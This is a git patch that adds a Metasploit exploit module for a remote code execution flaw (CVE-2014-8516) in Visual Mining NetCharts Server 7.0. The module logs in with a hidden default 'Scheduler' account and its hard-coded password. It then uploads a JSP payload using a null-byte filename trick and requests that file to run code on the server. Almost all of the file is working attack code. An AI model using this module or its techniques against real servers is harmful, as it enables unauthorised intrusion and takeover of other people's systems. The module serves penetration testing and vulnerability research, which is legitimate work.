From c08993a9c0809c77c7de0c5abbfecc32755ac8d7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 5 Nov 2014 15:31:20 -0600 Subject: [PATCH] Add module for ZDI-14-372 --- .../http/visual_mining_netcharts_upload.rb | 138 ++++++++++++++++++ 1 file changed, 138 insertions(+) create mode 100644 modules/exploits/multi/http/visual_mining_netcharts_upload.rb diff --git a/modules/exploits/multi/http/visual_mining_netcharts_upload.rb b/modules/exploits/multi/http/visual_mining_netcharts_upload.rb new file mode 100644 index 0000000000..0b99c53e31 --- /dev/null +++ b/modules/exploits/multi/http/visual_mining_netcharts_upload.rb @@ -0,0 +1,138 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + DEFAULT_USERNAME = 'Scheduler' + DEFAULT_PASSWORD = '!@#$scheduler$#@!' + SIGNATURE = 'was uploaded successfully and is now ready for installation' + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Visual Mining NetCharts Server Remote Code Execution', + 'Description' => %q{ + This module exploits multiple vulnerabilities on Visual Mining NetCharts. First of all, a + lack of input validation in the administration console allows to upload arbitrary jsp code + to locations accessible later through the web service. But authentication is required to + access the administration console. To bypass authentication, a 'hidden' user is available + by default (and non editable). This user, named 'Scheduler', only will be able to log in + the console after some modification in the user's database. If the 'Scheduler' user isn't + available it's possible to provide valid credentials through the datastore options. + }, + 'Author' => + [ + 'sghctoma', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-8516'], + ['ZDI', '14-372'] + ], + 'Privileged' => true, + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + ['Visual Mining NetCharts Server 7.0', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 03 2014')) + + register_options( + [ + Opt::RPORT(8001), + OptString.new('USERNAME', [false, "The username to authenticate with"]), + OptString.new('PASSWORD', [false, "The password to authenticate with"]) + ], self.class) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'), + 'vars_get' => { 'mode' => 'getZip' }, + 'authorization' => basic_auth(username, password) + }) + + if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE) + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def exploit + jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp" + print_status("#{peer} - Uploading JSP payload #{jsp_payload}...") + if upload(jsp_payload, payload.encoded) + print_good("#{peer} - JSP payload uploaded successfully") + register_file_for_cleanup('./webapps/Admin/archive/ArchiveCache/v6NN6211GFnwXrgO9.jsp') + else + fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed") + end + + print_status("#{peer} - Executing payload...") + execute(jsp_payload, 1) + end + + def execute(jsp_name, time_out = 20) + res = send_request_cgi({ + 'uri' => normalize_uri('/', 'Admin', 'archive', 'ArchiveCache', jsp_name), + 'method' => 'GET', + 'authorization' => basic_auth(username, password) + }, time_out) + + res + end + + def upload(file_name, contents) + post_data = Rex::MIME::Message.new + post_data.add_part( + contents, + 'application/octet-stream', + nil, + "form-data; name=\"FILE1\"; filename=\"#{file_name}\x00Archive0101140101.zip\"" + ) + + res = send_request_cgi({ + 'uri' => normalize_uri("/", 'Admin', 'archive', 'upload.jsp'), + 'method' => 'GET', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s, + 'vars_get' => { 'mode' => 'getZip' }, + 'authorization' => basic_auth(username, password) + }) + + if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE) + return true + end + + false + end + + def username + if datastore['USERNAME'].blank? + return DEFAULT_USERNAME + end + + datastore['USERNAME'] + end + + def password + if datastore['PASSWORD'].blank? + return DEFAULT_PASSWORD + end + + datastore['PASSWORD'] + end +end